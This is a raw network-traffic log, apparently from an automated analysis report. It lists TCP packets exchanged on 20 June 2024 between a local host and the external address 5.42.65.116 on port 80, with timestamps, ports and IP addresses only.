Jun 20, 2024 06:49:11.007675886 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.007703066 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.007710934 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.007726908 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.007759094 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.007766962 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.007801056 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.007826090 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.007839918 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.007858038 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.007895947 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.007947922 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.007947922 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.007981062 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008016109 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008033037 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.008055925 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.008066893 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008102894 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008117914 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.008151054 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.008150101 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008167982 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008192062 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008203030 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.008224964 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.008229971 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008246899 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.008265018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008275986 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.008299112 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008325100 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.008332968 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008353949 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.008367062 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008378983 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.008400917 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008434057 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.008435011 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008455038 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.008467913 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008477926 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.008519888 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008527994 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.008553982 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008569002 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.008589983 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008625984 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.008644104 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.008677006 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.094315052 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.094398022 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.094435930 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.094470978 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.094506025 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.094531059 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.094542980 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.094554901 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.094575882 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.094610929 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.094636917 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.094644070 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.094680071 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.094697952 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.094717026 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.094736099 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.094747066 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.094769955 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.094794989 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.094805002 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.094818115 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.094837904 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.094866991 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.094892979 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.094898939 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.094917059 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.094954014 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.094963074 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.094986916 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095007896 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095025063 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095036983 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095057011 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095077991 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095092058 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095105886 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095125914 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095153093 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095159054 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095182896 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095191956 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095197916 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095238924 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095244884 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095295906 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095329046 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095364094 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095369101 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095397949 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095432043 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095446110 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095463991 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095493078 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095518112 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095525980 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095563889 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095570087 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095603943 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095624924 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095637083 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095650911 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095671892 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095704079 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095726967 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095741987 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095763922 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095776081 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095794916 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095808983 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095824003 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095839977 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095854998 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095885992 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095887899 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095902920 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095916986 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095932007 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095947027 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095947027 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.095979929 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.095999002 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.096211910 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.096266985 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.096299887 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.096329927 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.096362114 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.096395969 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.096429110 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.096465111 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.096478939 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.096513033 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.096539021 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.096571922 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.096584082 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.096605062 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.096618891 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.096651077 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.096657991 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.096689939 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.096710920 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.096724987 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.096748114 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.096756935 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.096770048 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.096791983 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.096807957 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.096837044 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.097279072 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.097295046 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.097309113 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.097345114 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.097376108 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.097419024 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.097454071 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.097485065 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.097486973 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.097507000 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.097521067 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.097528934 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.097568989 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.097574949 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.097608089 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.097641945 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.097651958 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.097673893 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.097690105 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.097723961 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.097724915 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.097771883 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.097794056 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.097827911 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.097861052 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.097861052 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.097889900 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.097894907 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.097908974 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.097928047 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.097950935 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.097960949 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.097973108 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.097995043 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.098028898 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.098042965 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.098063946 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.098081112 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.098109961 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.098354101 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.098386049 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.098412037 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.098421097 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.098437071 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.098469973 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.098503113 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.098535061 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.098552942 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.098566055 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.098579884 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.098601103 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.098613977 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.098932028 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.099313974 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.099373102 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.099406958 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.099430084 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.099467993 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.099483967 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.099517107 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.099550009 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.099565029 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.099582911 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.099597931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.099632025 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.099636078 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.099667072 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.099715948 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.099716902 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.099761009 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.099766970 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.099781036 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.099796057 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.099808931 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.099818945 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.099837065 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.099843979 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.099883080 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.099888086 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.099921942 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.099953890 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.099968910 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.100002050 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.100008011 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.100042105 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.100054979 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.100078106 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.100110054 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.100122929 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.100127935 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.100172043 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.100177050 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.100186110 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.100199938 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.100214005 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.100215912 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.100229025 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.100234032 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.100243092 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.100256920 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.100258112 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.100271940 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.100292921 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.100313902 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.100347042 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.185623884 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.185668945 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.185723066 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.185746908 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.185775042 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.185790062 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.185810089 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.185825109 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.185842037 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.185854912 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.185892105 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.185894966 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.185926914 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.185945034 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.185961008 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.185972929 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.186013937 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.186017990 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.186048031 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.186080933 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.186115026 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.186117887 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.186148882 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.186150074 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.186191082 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.186216116 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.186666012 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.186719894 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.186723948 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.186748981 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.186774969 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.186804056 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.186814070 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.186840057 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.186851025 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.186888933 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.186892033 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.186923981 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.186940908 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.186956882 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.186970949 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.186995983 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187007904 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187043905 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187048912 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187081099 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187115908 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187130928 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187148094 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187169075 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187180042 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187201977 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187226057 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187231064 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187263966 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187306881 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187315941 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187349081 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187362909 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187400103 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187434912 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187452078 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187468052 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187484026 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187503099 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187511921 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187547922 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187553883 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187601089 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.187603951 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.187635899 CEST	80	49743	5.42.65.116	192.168.2.4
